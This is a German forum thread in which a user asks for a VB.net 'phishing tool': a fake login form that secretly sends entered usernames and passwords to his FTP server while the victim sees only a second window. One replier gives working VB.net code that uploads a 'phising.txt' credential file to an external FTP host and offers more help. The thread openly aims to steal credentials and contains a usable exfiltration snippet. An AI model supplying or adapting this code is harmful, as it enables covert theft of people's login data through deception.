TextBox Phishing?

[Gumball]

ist es möglich in VB.net eine Art Phishing tool zu machen?

Sprich

Username:
[TextBox1]

Passwort:
[TextBox2]

[Button]

Beim button klick sollen,username + pw auf meine ftp geladen werden,der user merkt nichts,für ihn öffnet sich form 2

Wäre nett wenn jemand nen code für mich hätte

[Freeway861]

Wo liegt dein Problem?

Du machst dein Form, lädst die Daten eben schnell auf den FTP hoch (Tutorials gibts genug) und dann öffnest du per Form2.Show das nächste Form?

Möchtest du dass wir dir das vorkauen?

[Gumball]

Das ich das mit Form2.Show mache brauchste mir nicht sagen,und wenn ich wüsste wie man es auf den FTP,lädt würde ich nicht fragen oder ? -.-

Also,vllt ist ja jemand hier in der Lage mir zu helfen,und mir WIE OBEN SCHON GESSAGT einen code für den button geben kann

[Sawyer]

Das ich das mit Form2.Show mache brauchste mir nicht sagen,und wenn ich wüsste wie man es auf den FTP,lädt würde ich nicht fragen oder ? -.-

Also,vllt ist ja jemand hier in der Lage mir zu helfen,und mir WIE OBEN SCHON GESSAGT einen code für den button geben kann

Code ist nicht komplett von mir , hab ihn für dich nur etwas abgeändert^^

allerdings hoffe ich du weißt wie man ne textdatei erstellt und die daten aus der textbox reinschreibt , wenn ned frag einfach

        
Dim user As String = "USER"
Dim pass As String = "PASSWORT"
Dim server As String = "ftp.extra.hu/"
Dim file As String = "Phising.txt"
Dim path As String = Application.StartupPath & "\phising.txt"

Dim up As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://" & server & file), System.Net.FtpWebRequest)
up.Credentials = New System.Net.NetworkCredential(user, pass)
up.Method = System.Net.WebRequestMethods.Ftp.UploadFile

Dim bFile() As Byte = System.IO.File.ReadAllBytes(path)
Dim ustr As System.IO.Stream = up.GetRequestStream()
ustr.Write(bFile, 0, bFile.Length)
ustr.Close()
ustr.Dispose()

MfG